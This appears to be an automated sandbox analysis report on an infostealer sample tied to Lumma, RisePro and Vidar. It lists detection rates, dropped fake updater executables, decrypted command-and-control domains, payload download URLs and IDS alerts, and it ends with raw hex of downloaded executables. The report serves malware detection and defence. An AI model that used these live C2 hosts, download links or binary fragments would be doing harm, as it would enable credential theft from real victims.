Source: https://162.55.53.18:9000/7	Virustotal: Detection: 10%	Perma Link
Source: https://falseaudiencekd.shop/api	Virustotal: Detection: 15%	Perma Link
Source: https://162.55.53.18:9000/msvcp140.dll	Virustotal: Detection: 10%	Perma Link
Source: raiseboltskdlwpow.shop	Virustotal: Detection: 13%	Perma Link
Source: http://5.42.65.116/vidar1906.exe	Virustotal: Detection: 24%	Perma Link
Source: https://162.55.53.18:9000/l	Virustotal: Detection: 10%	Perma Link
Source: https://strwawrunnygjwu.shop/api	Virustotal: Detection: 15%	Perma Link
Source: strwawrunnygjwu.shop	Virustotal: Detection: 13%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	ReversingLabs: Detection: 65%
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	ReversingLabs: Detection: 63%
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\AdobeUpdaterV168_22594e13276480dd456a8441babc227b\AdobeUpdaterV168.exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\AdobeUpdaterV168_ba275140a7f982708edd6279b1a14d06\AdobeUpdaterV168.exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\AdobeUpdaterV168_bdca866007fb255201297d2a15a49513\AdobeUpdaterV168.exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\rise1906[1].exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\lumma1906_2[1].exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vidar1906[1].exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\UD9d3d9BDMOjLcXwYzjP.exe	ReversingLabs: Detection: 63%

Multi AV Scanner detection for submitted file

Source: 1kBeqS7E3z.exe	Virustotal: Detection: 52%			Perma Link
Source: 1kBeqS7E3z.exe	ReversingLabs: Detection: 63%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\UD9d3d9BDMOjLcXwYzjP.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vidar1906[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\lumma1906_2[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\AdobeUpdaterV168_22594e13276480dd456a8441babc227b\AdobeUpdaterV168.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\rise1906[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\AdobeUpdaterV168_22594e13276480dd456a8441babc227b\AdobeUpdaterV168.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\AdobeUpdaterV168_22594e13276480dd456a8441babc227b\AdobeUpdaterV168.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 1kBeqS7E3z.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0000001F.00000002.1847576009.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: richardflorespoew.shop
Source: 0000001F.00000002.1847576009.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: strwawrunnygjwu.shop
Source: 0000001F.00000002.1847576009.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: justifycanddidatewd.shop
Source: 0000001F.00000002.1847576009.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: raiseboltskdlwpow.shop
Source: 0000001F.00000002.1847576009.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: falseaudiencekd.shop
Source: 0000001F.00000002.1847576009.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: pleasurenarrowsdla.shop
Source: 0000001F.00000002.1847576009.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: feighminoritsjda.shop
Source: 0000001F.00000002.1847576009.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: marathonbeedksow.shop
Source: 0000001F.00000002.1847576009.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: justifycanddidatewd.shop
Source: 0000001F.00000002.1847576009.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 0000001F.00000002.1847576009.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 0000001F.00000002.1847576009.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 0000001F.00000002.1847576009.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 0000001F.00000002.1847576009.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 0000001F.00000002.1847576009.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: H8NgCl--default

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004C6B00 CryptUnprotectData,CryptUnprotectData,LocalFree,LocalFree,	3_2_004C6B00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_00406DE2 CryptUnprotectData,LocalAlloc,LocalFree,	23_2_00406DE2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_00406D7F CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	23_2_00406D7F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_00408E1E lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,	23_2_00408E1E

Source: 1kBeqS7E3z.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.4:49781 version: TLS 1.2

Source: 1kBeqS7E3z.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:

Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 00000017.00000002.4150397506.0000000015A12000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4154077628.000000001B988000.00000002.00001000.00020000.00000000.sdmp, sqlt[1].dll.23.dr

Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Code function: 0_2_00B52923 FindFirstFileExW,	0_2_00B52923
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004C6000 CreateDirectoryA,FindFirstFileA,FindNextFileA,GetLastError,FindClose,	3_2_004C6000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004E6770 CreateDirectoryA,FindFirstFileA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,GetLastError,SetFileAttributesA,GetLastError,RemoveDirectoryA,GetLastError,GetLastError,std::_Throw_Cpp_error,std::_Throw_Cpp_error,	3_2_004E6770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00493F40 SHGetFolderPathA,FindFirstFileA,FindNextFileA,FindClose,CreateDirectoryA,CreateDirectoryA,CreateDirectoryA,CopyFileA,CreateDirectoryA,CreateDirectoryA,CopyFileA,CopyFileA,	3_2_00493F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00431F9C FindClose,FindFirstFileExW,GetLastError,	3_2_00431F9C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00432022 GetLastError,GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	3_2_00432022
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004938D0 FindFirstFileA,FindNextFileA,GetLastError,FindClose,	3_2_004938D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004DFF00 CreateDirectoryA,FindFirstFileA,CreateDirectoryA,CopyFileA,FindNextFileA,FindClose,GetLastError,GetLastError,	3_2_004DFF00
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Code function: 11_2_00052923 FindFirstFileExW,	11_2_00052923
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Code function: 12_2_00A329D7 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	12_2_00A329D7
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Code function: 22_2_00762933 FindFirstFileExW,	22_2_00762933
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_0040D1BA FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	23_2_0040D1BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_0040A025 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	23_2_0040A025
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_0040A440 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	23_2_0040A440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_0040AAB4 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	23_2_0040AAB4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_00401162 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,FindNextFileA,FindClose,FindNextFileA,FindClose,	23_2_00401162
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_0040B4C3 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,FindNextFileA,FindClose,	23_2_0040B4C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_0040BFA5 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	23_2_0040BFA5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2049060 ET TROJAN RisePro TCP Heartbeat Packet 192.168.2.4:49732 -> 5.42.67.8:50500
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 5.42.67.8:50500 -> 192.168.2.4:49732
Source: Traffic	Snort IDS: 2046269 ET TROJAN [ANY.RUN] RisePro TCP (Activity) 192.168.2.4:49732 -> 5.42.67.8:50500
Source: Traffic	Snort IDS: 2046267 ET TROJAN [ANY.RUN] RisePro TCP (External IP) 5.42.67.8:50500 -> 192.168.2.4:49732
Source: Traffic	Snort IDS: 2053672 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (justifycanddidatewd .shop) 192.168.2.4:57238 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2053682 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (marathonbeedksow .shop) 192.168.2.4:61750 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2053680 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (feighminoritsjda .shop) 192.168.2.4:57326 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2053678 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (pleasurenarrowsdla .shop) 192.168.2.4:54451 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2053676 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (falseaudiencekd .shop) 192.168.2.4:60625 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2053674 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (raiseboltskdlwpow .shop) 192.168.2.4:53564 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2053670 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (strwawrunnygjwu .shop) 192.168.2.4:59171 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2053668 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (richardflorespoew .shop) 192.168.2.4:53588 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 5.42.67.8:50500 -> 192.168.2.4:49751
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 5.42.67.8:50500 -> 192.168.2.4:49760
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 5.42.67.8:50500 -> 192.168.2.4:49772
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 5.42.67.8:50500 -> 192.168.2.4:49778

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: richardflorespoew.shop
Source: Malware configuration extractor	URLs: strwawrunnygjwu.shop
Source: Malware configuration extractor	URLs: justifycanddidatewd.shop
Source: Malware configuration extractor	URLs: raiseboltskdlwpow.shop
Source: Malware configuration extractor	URLs: falseaudiencekd.shop
Source: Malware configuration extractor	URLs: pleasurenarrowsdla.shop
Source: Malware configuration extractor	URLs: feighminoritsjda.shop
Source: Malware configuration extractor	URLs: marathonbeedksow.shop
Source: Malware configuration extractor	URLs: justifycanddidatewd.shop
Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199699680841
Source: Malware configuration extractor	URLs: https://t.me/memve4erin

Source: global traffic	TCP traffic: 192.168.2.4:49732 -> 5.42.67.8:50500
Source: global traffic	TCP traffic: 192.168.2.4:49750 -> 162.55.53.18:9000

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 20 Jun 2024 04:49:09 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Last-Modified: Tue, 18 Jun 2024 22:33:06 GMTETag: "1cc400-61b31aa6abb30"Accept-Ranges: bytesContent-Length: 1885184Content-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 19 b3 f5 7c 5d d2 9b 2f 5d d2 9b 2f 5d d2 9b 2f 8e a0 98 2e 4c d2 9b 2f 8e a0 9e 2e ec d2 9b 2f 8e a0 9f 2e 4b d2 9b 2f 9f 53 9f 2e 4f d2 9b 2f 9f 53 98 2e 48 d2 9b 2f 8e a0 9a 2e 54 d2 9b 2f 5d d2 9a 2f dc d2 9b 2f 9f 53 9e 2e 0a d2 9b 2f ae 50 9e 2e 5c d2 9b 2f ae 50 99 2e 5c d2 9b 2f 52 69 63 68 5d d2 9b 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 1f 0b 72 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 b0 02 00 00 22 1a 00 00 00 00 00 b9 b7 00 00 00 10 00 00 00 c0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 1c 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 1c 6c 03 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 1c 00 ec 1f 00 00 a8 4b 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 4a 03 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 02 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 50 ae 02 00 00 10 00 00 00 b0 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 5e b3 00 00 00 c0 02 00 00 b4 00 00 00 b4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 a8 4c 19 00 00 80 03 00 00 3c 19 00 00 68 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 ec 1f 00 00 00 d0 1c 00 00 20 00 00 00 a4 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 20 Jun 2024 04:49:12 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Last-Modified: Tue, 18 Jun 2024 22:35:39 GMTETag: "6dc00-61b31b38bbc25"Accept-Ranges: bytesContent-Length: 449536Content-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 19 b3 f5 7c 5d d2 9b 2f 5d d2 9b 2f 5d d2 9b 2f 8e a0 98 2e 4c d2 9b 2f 8e a0 9e 2e ec d2 9b 2f 8e a0 9f 2e 4b d2 9b 2f 9f 53 9f 2e 4f d2 9b 2f 9f 53 98 2e 48 d2 9b 2f 8e a0 9a 2e 54 d2 9b 2f 5d d2 9a 2f dc d2 9b 2f 9f 53 9e 2e 0a d2 9b 2f ae 50 9e 2e 5c d2 9b 2f ae 50 99 2e 5c d2 9b 2f 52 69 63 68 5d d2 9b 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 b9 0b 72 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 b0 02 00 00 3a 04 00 00 00 00 00 c9 b7 00 00 00 10 00 00 00 c0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 07 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 1c 6c 03 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 06 00 ec 1f 00 00 a8 4b 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 4a 03 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 02 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 60 ae 02 00 00 10 00 00 00 b0 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 5e b3 00 00 00 c0 02 00 00 b4 00 00 00 b4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 68 64 03 00 00 80 03 00 00 54 03 00 00 68 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 ec 1f 00 00 00 f0 06 00 00 20 00 00 00 bc 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 20 Jun 2024 04:49:14 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Last-Modified: Tue, 18 Jun 2024 22:38:14 GMTETag: "83600-61b31bcbd0b2c"Accept-Ranges: bytesContent-Length: 538112Content-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 19 b3 f5 7c 5d d2 9b 2f 5d d2 9b 2f 5d d2 9b 2f 8e a0 98 2e 4c d2 9b 2f 8e a0 9e 2e ec d2 9b 2f 8e a0 9f 2e 4b d2 9b 2f 9f 53 9f 2e 4f d2 9b 2f 9f 53 98 2e 48 d2 9b 2f 8e a0 9a 2e 54 d2 9b 2f 5d d2 9a 2f dc d2 9b 2f 9f 53 9e 2e 0a d2 9b 2f ae 50 9e 2e 5c d2 9b 2f ae 50 99 2e 5c d2 9b 2f 52 69 63 68 5d d2 9b 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4d 0c 72 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 b0 02 00 00 94 05 00 00 00 00 00 c9 b7 00 00 00 10 00 00 00 c0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 08 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 1c 6c 03 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 08 00 ec 1f 00 00 a8 4b 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 4a 03 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 02 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 60 ae 02 00 00 10 00 00 00 b0 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 5e b3 00 00 00 c0 02 00 00 b4 00 00 00 b4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 a8 be 04 00 00 80 03 00 00 ae 04 00 00 68 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 